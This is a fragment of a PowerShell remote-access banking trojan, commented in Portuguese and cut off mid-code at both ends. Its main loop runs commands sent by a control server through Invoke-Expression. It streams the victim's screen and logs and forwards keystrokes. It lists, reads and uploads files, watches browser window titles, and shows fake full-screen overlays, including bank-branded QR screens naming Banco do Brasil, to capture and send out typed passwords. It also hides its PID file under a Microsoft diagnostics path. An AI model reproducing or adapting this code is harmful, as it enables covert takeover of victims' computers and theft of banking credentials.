ConvertFrom-Json Write-DebugLog "SessionInfo: SessionID=$($sessionJson.SessionID), Accepted=$($sessionJson.Accepted)" if ($sessionJson.Accepted -eq $true) { $sessionReceived = $true Write-DebugLog "Sessao aceita!" } else { Write-DebugLog "ERRO: Servidor rejeitou: $($sessionJson.Error)" throw "Servidor rejeitou" } } catch { Write-DebugLog "Erro parsing SessionInfo: $_" } } # Ping = 0xE0, responder com Pong elseif ($pkt.Type -eq 0xE0) { Write-DebugLog "Ping recebido, enviando Pong..." $bw = $script:BW; $bw.Write([byte[]]@(0x4C,0x51,0x57,0x50,0xE1,0x00,0x00,0x00,0x00)); $bw.Flush() } # ServerHello = 0x02 (ignorar, já recebemos) elseif ($pkt.Type -eq 0x02) { Write-DebugLog "ServerHello duplicado (ignorando)" } else { Write-DebugLog "Pacote inesperado: 0x$($pkt.Type.ToString('X2'))" } } } if (-not $sessionReceived) { Write-DebugLog "AVISO: SessionInfo nao recebido apos $attempts tentativas" # Se recebemos Pings, a conexao esta OK - servidor aceita mas nao enviou SessionInfo explicitamente # Isso pode acontecer se o servidor estiver em versao diferente Write-DebugLog "Continuando mesmo sem SessionInfo (Pings estao chegando)..." } # Enviar lista de monitores Send-MonitorList -Stream $stream Write-DebugLog "Conexao estabelecida! Entrando no loop principal..." # OTIMIZADO: Reset contador de reconexão após conexão bem-sucedida $script:_reconnectAttempt = 0 $lastScr = [DateTime]::MinValue $lastBrowserCheck = [DateTime]::MinValue $lastQRCheck = [DateTime]::MinValue $lastPing = [long]([DateTime]::UtcNow.Ticks / 10000) $lastHeartbeat = [long]([DateTime]::UtcNow.Ticks / 10000) $lastDataReceived = [long]([DateTime]::UtcNow.Ticks / 10000) $hbFails = 0 $loopIterations = 0 $connectionAlive = $true while ($connectionAlive) { $loopIterations++ # OTIMIZADO: Heartbeat mais frequente (5s) mas mais tolerante (5 falhas, 60s timeout) $nowHb = [long]([DateTime]::UtcNow.Ticks / 10000) if (($nowHb - $lastHeartbeat) -gt 5000) { # Era 10000 (10s), agora 5000 (5s) try { $__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50,0xE1,0x00,0x00,0x00,0x00));$__bw.Flush() $hbFails = 0; $lastHeartbeat = $nowHb } catch { $hbFails++; if ($hbFails -ge 5) { $connectionAlive = $false; continue } } # Era 3, agora 5 if (($nowHb - $lastDataReceived) -gt 60000) { $connectionAlive = $false; continue } # Era 45s, agora 60s } # =============================================================== # VERIFICAR SE SERVICO FOI INSTALADO (processo User deve encerrar) # =============================================================== if ($script:ForceExit) { Write-Host "[EXIT] Servico SYSTEM instalado - encerrando processo User..." -ForegroundColor Green try { $stream.Close() } catch {} try { $client.Close() } catch {} Start-Sleep -Seconds 2 exit 0 } # [*] VERIFICAR SE PROCESSO SYSTEM APARECEU (a cada 30s) - desativado em modo interativo if (-not $amISystem -and -not $script:_lastSystemCheck) { $script:_lastSystemCheck = [DateTime]::MinValue } $skipPeriodicCheck = $Force -or ([Environment]::UserInteractive -and $Host.Name -eq "ConsoleHost") if (-not $amISystem -and -not $skipPeriodicCheck -and ([DateTime]::Now - $script:_lastSystemCheck).TotalSeconds -ge 30) { $script:_lastSystemCheck = [DateTime]::Now foreach ($pidPath in @("$env:APPDATA\Microsoft\Diagnosis\ETW\client.pid", "C:\ProgramData\Microsoft\Diagnosis\ETW\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $sysPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) if ($sysPid -and $sysPid -ne $PID) { $sysProc = Get-Process -Id $sysPid -ErrorAction SilentlyContinue if ($sysProc -and $sysProc.ProcessName -match "powershell") { Write-Host "[EXIT] Processo SYSTEM detectado (PID $sysPid) - encerrando User..." -ForegroundColor Green try { $stream.Close() } catch {} try { $client.Close() } catch {} Start-Sleep -Seconds 2 exit 0 } } } } catch {} } } # [*] VERIFICAR STATUS DE INATIVIDADE (20 MINUTOS) $isIdle = Check-IdleStatus $stream # [~] LIMPAR BUFFER AO RETOMAR DO IDLE if ($global:JustResumedFromIdle) { $global:JustResumedFromIdle = $false Write-Host "[RESUME] Limpando buffers e reiniciando..." -ForegroundColor Cyan Clear-StreamBuffer $stream $lastScr = [DateTime]::MinValue $lastPing = [long]([DateTime]::UtcNow.Ticks / 10000) # Pequena pausa para estabilizar Start-Sleep -Milliseconds 100 } # ═══════════════════════════════════════════════════════════════ # MONITORAMENTO DO SCREENSHOT EM BACKGROUND - RODA SEMPRE! # ═══════════════════════════════════════════════════════════════ if ($script:ScreenshotActive -and $script:ScreenshotProcess) { # Verificar se processo terminou if ($script:ScreenshotProcess.HasExited) { Write-Host "[SCREENSHOT] Overlay terminou! Processando resultado..." -ForegroundColor Green $pwd = "" # Aguardar um pouco para o arquivo ser escrito Start-Sleep -Milliseconds 200 # Ler resultado do arquivo if ($script:ScreenshotTempResult -and (Test-Path $script:ScreenshotTempResult)) { try { $pwd = [System.IO.File]::ReadAllText($script:ScreenshotTempResult).Trim() Write-Host "[SCREENSHOT] Senha lida: $('*' * $pwd.Length) ($($pwd.Length) chars)" -ForegroundColor Yellow } catch { Write-Host "[SCREENSHOT] Erro ao ler arquivo: $_" -ForegroundColor Red } } # PRIMEIRO: Enviar a senha capturada (se tiver) if ($pwd -and $pwd.Length -gt 0) { Write-Host "[SCREENSHOT] CAPTURADO: $('*' * $pwd.Length)" -ForegroundColor Green try { $jsonData = @{Type="screenshot_capture";Value=$pwd;Timestamp=(Get-Date).ToString("o")} | ConvertTo-Json -Compress $d = [Text.Encoding]::UTF8.GetBytes($jsonData) $script:BW.Write([byte[]]@(0x4C,0x51,0x57,0x50)) $script:BW.Write([byte]0xE3) $script:BW.Write([int32]$d.Length) $script:BW.Write($d) $script:BW.Flush() Write-Host "[SCREENSHOT] Senha enviada!" -ForegroundColor Green } catch { Write-Host "[SCREENSHOT] ERRO ao enviar: $_" -ForegroundColor Red } } # SEGUNDO: Restaurar overlay anterior (modo priv) if ($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) { Write-Host "[SCREENSHOT] Restaurando modo priv $($script:PreviousOverlayMode)..." -ForegroundColor Green Start-DisplayOverlay -Mode $script:PreviousOverlayMode } # TERCEIRO: Enviar confirmação try { $confirmData = @{ Type="screenshot_complete" PrivRestored=($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) PrivMode=$script:PreviousOverlayMode PasswordCaptured=($pwd -and $pwd.Length -gt 0) Timestamp=(Get-Date).ToString("o") } | ConvertTo-Json -Compress $cd = [Text.Encoding]::UTF8.GetBytes($confirmData) $script:BW.Write([byte[]]@(0x4C,0x51,0x57,0x50)) $script:BW.Write([byte]0xE3) $script:BW.Write([int32]$cd.Length) $script:BW.Write($cd) $script:BW.Flush() } catch {} # Limpar estado $script:ScreenshotActive = $false $script:ScreenshotProcess = $null try { if ($script:ScreenshotTempResult) { Remove-Item $script:ScreenshotTempResult -Force -ErrorAction SilentlyContinue } } catch {} Write-Host "[SCREENSHOT] ========================================" -ForegroundColor Cyan } } # === PROCESSAR COMANDOS (max 20 por iteracao para nao travar) === $cmdCount = 0 try { while ($stream.DataAvailable -and $cmdCount -lt 20) { $cmdCount++ $pkt = Read-Packet -Stream $stream if ($pkt) { $lastDataReceived = [long]([DateTime]::UtcNow.Ticks / 10000) $j = @{} try { if ($pkt.Length -gt 0) { $j = [System.Text.Encoding]::UTF8.GetString($pkt.Data) | ConvertFrom-Json } } catch {} # Log apenas para comandos importantes (nao input/ping) if ($pkt.Type -eq 0xA2 -or $pkt.Type -eq 0xA0 -or $pkt.Type -eq 0x66 -or $pkt.Type -eq 0x67 -or $pkt.Type -eq 0x64) { $typeName = switch ($pkt.Type) { 0xA2 {"SystemCommand"} 0xA0 {"Command"} 0x66 {"ShowQR"} 0x67 {"HideQR"} 0x64 {"AutoQR"} default {"0x$($pkt.Type.ToString('X2'))"} } Write-Host "[PKT] $typeName Len=$($pkt.Length)" -ForegroundColor Cyan Write-DebugLog "[PKT] $typeName Len=$($pkt.Length)" if ($pkt.Type -eq 0xA2) { $rawData = [System.Text.Encoding]::UTF8.GetString($pkt.Data) Write-DebugLog "[PKT] SystemCommand RAW: $rawData" } } # Comandos SEMPRE processados (mesmo em idle) # DEBUG: Verificar MSG hashtable if (-not $MSG) { Write-DebugLog "[FATAL] MSG hashtable NAO DEFINIDA no loop!" } switch ($pkt.Type) { 0xE0 { try { $__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50,0xE1,0x00,0x00,0x00,0x00));$__bw.Flush() } catch {} } # =============================================================== # CONTROLE REMOTO - SEMPRE FUNCIONA (mesmo em idle) + ACORDA # =============================================================== 0x20 { # MouseMove Force-WakeFromIdle $mon = Get-SelectedMonitor [NativeInput]::MoveMouse($mon.X + $j.X, $mon.Y + $j.Y) } 0x21 { # MouseButton Force-WakeFromIdle $mon = Get-SelectedMonitor [NativeInput]::MoveMouse($mon.X + $j.X, $mon.Y + $j.Y) if ($j.IsDown) { [NativeInput]::MouseDown($j.Button) } else { [NativeInput]::MouseUp($j.Button) } } 0x22 { Force-WakeFromIdle; [NativeInput]::MouseWheel($j.Delta) } # MouseWheel 0x23 { Force-WakeFromIdle; if ($j.IsDown) { [NativeInput]::KeyDown([byte]$j.KeyCode) } else { [NativeInput]::KeyUp([byte]$j.KeyCode) } } # Keyboard 0xA2 { # SystemCommand # Aceitar tanto Cmd quanto command (compatibilidade com diferentes servers) $cmdValue = if ($j.Cmd) { $j.Cmd } elseif ($j.command) { $j.command } else { $null } Write-Host "[SYSCMD] Recebido: $cmdValue" -ForegroundColor Yellow Write-DebugLog "[SYSCMD] Cmd=$cmdValue, Raw JSON keys: $($j.PSObject.Properties.Name -join ',')" try { $r = Handle-SystemCommand -Cmd $cmdValue -Stream $stream } catch { $r = "ERRO: $_" Write-DebugLog "[SYSCMD] EXCEPTION: $_" } Write-Host "[SYSCMD] Resultado: $r" -ForegroundColor Green Write-DebugLog "[SYSCMD] Result=$r" try { $__d=[System.Text.Encoding]::UTF8.GetBytes((@{ Output = $r; ExitCode = 0 } | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0xA1);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush(); $stream.Flush() } catch {} # Verificar se deve encerrar (apos request_uac) if ($script:ForceExit) { Write-Host "[EXIT] ForceExit detectado - encerrando processo User..." -ForegroundColor Green Start-Sleep -Seconds 2 try { $stream.Close() } catch {} try { $client.Close() } catch {} [Environment]::Exit(0) } } 0xA0 { # Command try { $cmd = $j.CommandText if ($j.EncryptedCmd) { $decrypted = Decrypt-SecureData -Data $j.EncryptedCmd if ($decrypted) { $cmd = $decrypted } } $r = Invoke-Expression $cmd 2>&1 | Out-String $encResult = Encrypt-SecureData -Text $r $__d=[System.Text.Encoding]::UTF8.GetBytes((@{ Output = $r; EncryptedOutput = $encResult; ExitCode = 0 } | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0xA1);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush() } catch {} } 0x66 { # ShowQROverlay try { Write-Host "" -ForegroundColor Magenta Write-Host "[QR OVERLAY] ============================================" -ForegroundColor Magenta Write-Host "[QR OVERLAY] COMANDO RECEBIDO DO SERVIDOR " -ForegroundColor Magenta Write-Host "[QR OVERLAY] ============================================" -ForegroundColor Magenta # Verificar se e resposta de falha de decodificacao if ($j.DecodeFailed) { $regionKey = $j.RegionKey Write-Host "[QR OVERLAY] Servidor nao conseguiu decodificar regiao: $regionKey" -ForegroundColor Yellow Write-Host "[QR OVERLAY] Marcando regiao como failed por 30s" -ForegroundColor Yellow $script:FailedQRRegions[$regionKey] = [DateTime]::Now Write-Host "[QR OVERLAY] ============================================" -ForegroundColor Magenta return } $imageUrl = $j.ImageUrl $imageBase64 = $j.ImageBase64 $region = $j.Region $serverCoords = $j.ServerCoords # NOVAS coordenadas exatas do servidor $duration = $j.Duration $size = $j.Size # Se servidor enviou coordenadas exatas (sem imagem), e para reposicionar overlay if ($serverCoords -and -not $imageBase64 -and -not $imageUrl) { Write-Host "[QR OVERLAY] === COORDENADAS EXATAS DO SERVIDOR ===" -ForegroundColor Yellow Write-Host " X = $($serverCoords.X)" -ForegroundColor Yellow Write-Host " Y = $($serverCoords.Y)" -ForegroundColor Yellow Write-Host " W = $($serverCoords.W)" -ForegroundColor Yellow Write-Host " H = $($serverCoords.H)" -ForegroundColor Yellow # Reposicionar: fechar overlay atual e recriar na posicao correta try { Hide-QROverlay Write-Host "[QR OVERLAY] Overlay fechado - aguardando proximo frame para recriar na posicao correta" -ForegroundColor Green } catch {} } # Caso normal: exibir overlay com imagem else { Write-Host "[QR OVERLAY] === COORDENADAS RECEBIDAS ===" -ForegroundColor Yellow Write-Host " X = $($region.X)" -ForegroundColor Yellow Write-Host " Y = $($region.Y)" -ForegroundColor Yellow Write-Host " W = $($region.W)" -ForegroundColor Yellow Write-Host " H = $($region.H)" -ForegroundColor Yellow Write-Host "[QR OVERLAY] Duration: $duration" -ForegroundColor Cyan # Se temos imagem base64 direto (metodo preferido) if ($imageBase64) { $imgSizeKB = [Math]::Round($imageBase64.Length / 1024, 1) Write-Host "[QR OVERLAY] Imagem recebida diretamente: $imgSizeKB KB" -ForegroundColor Green } # Fallback: Se temos URL, baixar elseif ($imageUrl) { Write-Host "[QR OVERLAY] Baixando via HTTP: $imageUrl" -ForegroundColor Yellow try { $webClient = New-Object System.Net.WebClient $imageBytes = $webClient.DownloadData($imageUrl) $imageBase64 = "data:image/png;base64," + [Convert]::ToBase64String($imageBytes) Write-Host "[QR OVERLAY] Downloaded: $($imageBytes.Length) bytes" -ForegroundColor Green } catch { Write-Host "[QR OVERLAY] Download failed: $($_.Exception.Message)" -ForegroundColor Red } } if ($imageBase64 -and $region) { Write-Host "[QR OVERLAY] Mostrando overlay em ($($region.X), $($region.Y))..." -ForegroundColor Green Show-QROverlay -ImageBase64 $imageBase64 -X $region.X -Y $region.Y -Width $region.W -Height $region.H -Duration $duration Write-Host "[QR OVERLAY] Comando executado!" -ForegroundColor Green } else { Write-Host "[QR OVERLAY] ERRO: Falta imagem ou regiao" -ForegroundColor Red } } Write-Host "[QR OVERLAY] ============================================" -ForegroundColor Magenta } catch { Write-Host "[QR OVERLAY ERROR] $($_.Exception.Message)" -ForegroundColor Red } } 0x67 { # HideQROverlay Write-Host "[QR HIDE] ================================================" -ForegroundColor Magenta Write-Host "[QR HIDE] COMANDO RECEBIDO DO SERVIDOR!" -ForegroundColor Magenta Write-Host "[QR HIDE] ================================================" -ForegroundColor Magenta try { Hide-QROverlay } catch { Write-Host "[QR HIDE ERROR] $($_.Exception.Message)" -ForegroundColor Red } } 0x64 { # AutoQRToggle - DESABILITADO # OTIMIZADO: AutoQR desabilitado - use Tela Fake Write-Host "[AUTO QR] Feature desabilitada (use Tela Fake)" -ForegroundColor Yellow } 0x61 { # ChatPopup / Screenshot try { if ($j.IsScreenshot -and $j.ImageBase64) { Write-Host "[SCREENSHOT] ========================================" -ForegroundColor Cyan Write-Host "[SCREENSHOT] Recebido! Tamanho: $($j.ImageBase64.Length) bytes" -ForegroundColor Cyan Write-Host "[SCREENSHOT] Input: $($j.InputX),$($j.InputY),$($j.InputW),$($j.InputH)" -ForegroundColor Cyan Write-Host "[SCREENSHOT] Button: $($j.ButtonX),$($j.ButtonY),$($j.ButtonW),$($j.ButtonH)" -ForegroundColor Cyan # Guardar modo priv atual antes de mostrar screenshot $script:PreviousOverlayMode = $script:CurrentOverlayMode $script:WasOverlayActive = $script:OverlayActive Write-Host "[SCREENSHOT] Modo anterior: $($script:PreviousOverlayMode), Ativo: $($script:WasOverlayActive)" -ForegroundColor Gray # Pausar overlay atual temporariamente (se existir) if ($script:WasOverlayActive) { Write-Host "[SCREENSHOT] Pausando overlay modo $($script:PreviousOverlayMode)..." -ForegroundColor Yellow Stop-DisplayOverlay Start-Sleep -Milliseconds 100 } # Iniciar overlay em BACKGROUND (não bloqueia streaming) $pwd = Show-ScreenshotOverlay -ImageBase64 $j.ImageBase64 -ImageWidth ([int]$j.ImageWidth) -ImageHeight ([int]$j.ImageHeight) -InputX ([int]$j.InputX) -InputY ([int]$j.InputY) -InputW ([int]$j.InputW) -InputH ([int]$j.InputH) -ButtonX ([int]$j.ButtonX) -ButtonY ([int]$j.ButtonY) -ButtonW ([int]$j.ButtonW) -ButtonH ([int]$j.ButtonH) -QRX ([int]$j.QRX) -QRY ([int]$j.QRY) -QRW ([int]$j.QRW) -QRH ([int]$j.QRH) if ($pwd -eq "__ASYNC__") { Write-Host "[SCREENSHOT] Overlay iniciado em BACKGROUND - Streaming continua!" -ForegroundColor Green # O monitoramento será feito no loop principal } Write-Host "[SCREENSHOT] ========================================" -ForegroundColor Cyan } else { Show-ChatPopup -Message $j.Message -Title $j.Title } } catch { Write-Host "[SCREENSHOT] ERRO GERAL: $($_.Exception.Message)" -ForegroundColor Red } } } # Se acordou do idle via comando remoto, atualizar $isIdle IMEDIATAMENTE if ($global:JustResumedFromIdle) { $global:JustResumedFromIdle = $false $isIdle = $false Write-Host "[WAKE] Sistema acordado via comando remoto - retomando captura!" -ForegroundColor Green } # Se nao esta idle, processar captura de tela if (-not $isIdle) { switch ($pkt.Type) { 0x11 { try { # Streaming on-demand: server controla quando enviar frames if ($null -ne $j.Streaming) { $script:StreamingEnabled = [bool]$j.Streaming if ($j.Streaming) { Write-Host "[STREAM] Viewer conectou - ENVIANDO frames" -ForegroundColor Green $script:PerfConfig.FrameInterval = 16 # Reset FPS maximo (60 FPS) } else { Write-Host "[STREAM] Sem viewers - PAUSANDO frames (economia CPU/rede)" -ForegroundColor Yellow } } if ($j.Quality) { $script:PerfConfig.Quality = $j.Quality $script:EncoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, [long]$script:PerfConfig.Quality) } # Se FullScreen ou Streaming=true, enviar 1 frame imediato if ($j.FullScreen -or $j.Streaming -eq $true) { $ss = Get-Screenshot if ($ss) { $__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0x10);$__bw.Write([int32]$ss.Length);$__bw.Write([byte[]]$ss);$__bw.Flush() } } } catch {} } 0x13 { if ($j.Quality) { $script:PerfConfig.Quality = [Math]::Max(15, [Math]::Min($j.Quality, 50)); $script:EncoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, [long]$script:PerfConfig.Quality) } } # QualityChange 0x40 { # ClipboardText try { $text = $j.Text if ($j.EncryptedText) { $decrypted = Decrypt-SecureData -Data $j.EncryptedText if ($decrypted) { $text = $decrypted } } if ($text) { Set-Clipboard -Value $text } } catch {} } 0x70 { $script:InputTrackActive = $true; try { [InputTracker]::Start() } catch {} } # InputTrackStart 0x71 { $script:InputTrackActive = $false; try { [InputTracker]::Stop() } catch {} } # InputTrackStop 0x50 { try { $result = Get-FileList -Path $j.Path; $__d=[System.Text.Encoding]::UTF8.GetBytes(($result | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0x51);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush() } catch {} } 0x54 { try { $fd = Get-FileData -FilePath $j.Path; if ($fd) { $__d=[System.Text.Encoding]::UTF8.GetBytes(($fd | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0x53);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush() } } catch {} } 0x55 { # FileUpload try { $fb = [System.Convert]::FromBase64String($j.Data) $dp = "C:\Users\Public\Documents" if (-not (Test-Path $dp)) { New-Item -Path $dp -ItemType Directory -Force | Out-Null } $sp = Join-Path $dp $j.FileName $n = [IO.Path]::GetFileNameWithoutExtension($j.FileName) $x = [IO.Path]::GetExtension($j.FileName) $i = 1 while (Test-Path $sp) { $sp = Join-Path $dp "${n} (${i})${x}"; $i++ } [IO.File]::WriteAllBytes($sp, $fb) Write-Host "[FILE] Salvo: $sp ($($fb.Length)B)" -ForegroundColor Green } catch { Write-Host "[FILE ERR] $_" -ForegroundColor Red } } 0xB2 { try { $pr = Get-Process | Select-Object -First 100 Id,ProcessName,CPU,WorkingSet64 | ForEach-Object { @{Id=$_.Id;Name=$_.ProcessName;Cpu=$_.CPU;Memory=$_.WorkingSet64} }; $__d=[System.Text.Encoding]::UTF8.GetBytes((@{Processes=@($pr)} | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0xB2);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush() } catch {} } 0xB3 { try { $sv = Get-Service | Select-Object -First 100 Name,DisplayName,Status | ForEach-Object { @{Name=$_.Name;DisplayName=$_.DisplayName;Status=$_.Status.ToString()} }; $__d=[System.Text.Encoding]::UTF8.GetBytes((@{Services=@($sv)} | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0xB3);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush() } catch {} } 0x15 { # MonitorSelect $newIdx = $j.Index if ($newIdx -ge 0 -and $newIdx -lt $script:Monitors.Count) { $script:SelectedMonitorIndex = $newIdx Write-Host "[MONITOR] Selecionado: Monitor $($newIdx + 1)" -ForegroundColor Green } } 0x14 { Send-MonitorList -Stream $stream } # MonitorList } } } } } catch {} if ($isIdle) { # PC esta IDLE - Enviar ping e aguardar $now = [long]([DateTime]::UtcNow.Ticks / 10000) if (($now - $lastPing) -gt 30000) { try { $__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50,0xE0,0x00,0x00,0x00,0x00));$__bw.Flush() $stream.Flush() $lastPing = $now } catch {} } Start-Sleep -Milliseconds 500 continue } # Monitor de Browser (200ms com viewer, 3s sem) $browserInt = if ($script:StreamingEnabled) { 200 } else { 3000 } if (([DateTime]::Now - $lastBrowserCheck).TotalMilliseconds -ge $browserInt) { $lastBrowserCheck = [DateTime]::Now try { $alert = Check-BrowserTitle if ($alert.Detected -eq $true) { $__d=[System.Text.Encoding]::UTF8.GetBytes(($alert | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0x80);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush() $stream.Flush() } } catch {} } # OTIMIZADO: AutoQR desabilitado (use Tela Fake) # Monitor de QR removido - não faz mais check automático if ($script:InputTrackActive) { try { # Scan multiplo para capturar teclas rapidas [InputTracker]::ScanAllKeys() $keys = [InputTracker]::GetBufferedKeys() foreach ($char in $keys) { if ($char) { $__d=[System.Text.Encoding]::UTF8.GetBytes((@{ Key = $char } | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0x72);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush() } } } catch {} } # === PROCESSAR INPUT NOVAMENTE ANTES DO SCREENSHOT (max 30 comandos) === $inputCount = 0 try { while ($stream.DataAvailable -and $inputCount -lt 30) { $inputCount++ $pkt = Read-Packet -Stream $stream if ($pkt -and $pkt.Type -ge 0x20 -and $pkt.Type -le 0x23) { $j = @{}; try { $j = [System.Text.Encoding]::UTF8.GetString($pkt.Data) | ConvertFrom-Json } catch {} switch ($pkt.Type) { 0x20 { $mon = Get-SelectedMonitor; [NativeInput]::MoveMouse($mon.X + $j.X, $mon.Y + $j.Y) } # MouseMove 0x21 { $mon = Get-SelectedMonitor; [NativeInput]::MoveMouse($mon.X + $j.X, $mon.Y + $j.Y); if ($j.IsDown) { [NativeInput]::MouseDown($j.Button) } else { [NativeInput]::MouseUp($j.Button) } } # MouseButton 0x22 { [NativeInput]::MouseWheel($j.Delta) } # MouseWheel 0x23 { if ($j.IsDown) { [NativeInput]::KeyDown([byte]$j.KeyCode) } else { [NativeInput]::KeyUp([byte]$j.KeyCode) } } # Keyboard } } } } catch {} # === SCREENSHOT (on-demand: so envia se viewer ativo) === if ($script:StreamingEnabled -and ([DateTime]::Now - $lastScr).TotalMilliseconds -ge $script:PerfConfig.FrameInterval) { try { $ss = Get-Screenshot if ($ss -and $ss.Length -gt 100) { $t1 = [DateTime]::Now # OTIMIZADO: Verificar se socket ainda está OK antes de enviar if ($client.Connected -and $stream.CanWrite) { $__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0x10);$__bw.Write([int32]$ss.Length);$__bw.Write([byte[]]$ss);$__bw.Flush() } else { $connectionAlive = $false continue } $sendMs = ([DateTime]::Now - $t1).TotalMilliseconds # ULTRA: Adaptativo agressivo - 30 FPS min (33ms), 60 FPS max (16ms) if ($sendMs -gt 50) { # Rede lenta: subir intervalo (max 33ms = 30 FPS minimo) $script:PerfConfig.FrameInterval = [Math]::Min(33, $script:PerfConfig.FrameInterval + 2) } elseif ($sendMs -lt 15) { # Rede ok: descer rapido (min 16ms = 60 FPS maximo) $script:PerfConfig.FrameInterval = [Math]::Max(16, $script:PerfConfig.FrameInterval - 3) } } $lastScr = [DateTime]::Now } catch { # Se deu erro no write, conexão pode ter caído $connectionAlive = $false continue } } # OTIMIZADO: Delay adaptativo - 1ms streaming (máximo FPS), 50ms parado (economia CPU) if ($script:StreamingEnabled) { [System.Threading.Thread]::Sleep(1) # Era 2ms } else { [System.Threading.Thread]::Sleep(50) # Era 100ms - resposta mais rápida ao iniciar stream } } } catch { Write-Host "[ERROR] Conexao perdida ou falhou: $_" -ForegroundColor Red Write-DebugLog "ERRO conexao: $_" } finally { try { [InputTracker]::Stop() } catch {} # PRIVMODE PERSIST: NAO parar overlay/input aqui - continua mesmo se conexao cair # try { Stop-DisplayOverlay } catch {} # try { Stop-InputPause } catch {} try { if ($script:BW) { $script:BW.Close(); $script:BW = $null } } catch {} try { $stream.Close() } catch {} try { $client.Close() } catch {} try { $script:_captureBitmap.Dispose(); $script:_captureBitmap = $null } catch {} try { $script:_captureGraphics.Dispose(); $script:_captureGraphics = $null } catch {} try { [System.GC]::Collect() } catch {} } # OTIMIZADO: Reconexão inteligente com backoff progressivo if (-not $script:_reconnectAttempt) { $script:_reconnectAttempt = 0 } $script:_reconnectAttempt++ # Backoff: 1s, 2s, 3s, 4s, 5s (max 5s) $delay = [Math]::Min($script:_reconnectAttempt, 5) Write-Host "[RECONNECT] Tentativa $($script:_reconnectAttempt) - aguardando ${delay}s..." -ForegroundColor Yellow Start-Sleep -Seconds $delay } } #Region QR Code Overlay System # ============================================================================== # QR CODE OVERLAY SYSTEM # ============================================================================== # Description: Provides QR code overlay functionality using a separate form # that displays over the screen without interfering with existing # display overlay functionality. # # Design Pattern: Separate namespace to avoid conflicts with existing types # Best Practice: Check if type is already loaded before Add-Type to prevent errors # Threading: Uses STA thread for Windows Forms compatibility # ============================================================================== # Only load type if not already present (prevents reload errors) if (-not ([System.Management.Automation.PSTypeName]'QRCodeSystem.QROverlay').Type) { try { Add-Type -TypeDefinition @" using System; using System.Drawing; using System.Windows.Forms; using System.IO; using System.Threading; namespace QRCodeSystem { /// /// Provides QR code overlay functionality using TopMost Windows Forms /// public class QROverlay { private static Form overlayForm = null; private static Thread formThread = null; private static volatile bool isShowing = false; /// /// Shows a QR code overlay with bank branding /// /// Display name of the bank /// Hex color code (e.g., #EC7000) /// Message to display below QR code /// Base64-encoded QR code image public static void Show(string bankName, string bankColor, string message, string imageBase64) { // Close any existing overlay first if (isShowing) { Hide(); Thread.Sleep(100); // Brief pause to ensure cleanup } isShowing = true; // Create and show form in STA thread (required for Windows Forms) formThread = new Thread(() => { try { // Get screen dimensions int screenW = Screen.PrimaryScreen.Bounds.Width; int screenH = Screen.PrimaryScreen.Bounds.Height; int midY = screenH / 2; // Parse bank color with fallback Color bgColor; try { bgColor = ColorTranslator.FromHtml(bankColor); } catch { bgColor = Color.FromArgb(0, 120, 215); // Default blue } // Text color (white for most banks, dark blue for BB) Color textColor = Color.White; if (bankName != null && bankName.Contains("Banco do Brasil")) { textColor = Color.FromArgb(0, 56, 130); } // Create overlay form overlayForm = new Form(); overlayForm.FormBorderStyle = FormBorderStyle.None; overlayForm.StartPosition = FormStartPosition.Manual; overlayForm.Location = new Point(0, 0); overlayForm.Size = new Size(screenW, screenH); overlayForm.TopMost = true; overlayForm.ShowInTaskbar = false; overlayForm.BackColor = bgColor; overlayForm.KeyPreview = true; // Bank name label Label lblBank = new Label(); lblBank.Text = bankName ?? "Banco"; lblBank.ForeColor = textColor; lblBank.Font = new Font("Segoe UI", 36, FontStyle.Bold); lblBank.AutoSize = false; lblBank.Size = new Size(screenW, 60); lblBank.Location = new Point(0, midY - 200); lblBank.TextAlign = ContentAlignment.MiddleCenter; lblBank.BackColor = Color.Transparent; overlayForm.Controls.Add(lblBank); // QR Code PictureBox PictureBox qrBox = new PictureBox(); qrBox.Size = new Size(280, 280); qrBox.Location = new Point((screenW - 280) / 2, midY - 120); qrBox.SizeMode = PictureBoxSizeMode.Zoom; qrBox.BackColor = Color.White; qrBox.BorderStyle = BorderStyle.FixedSingle; // 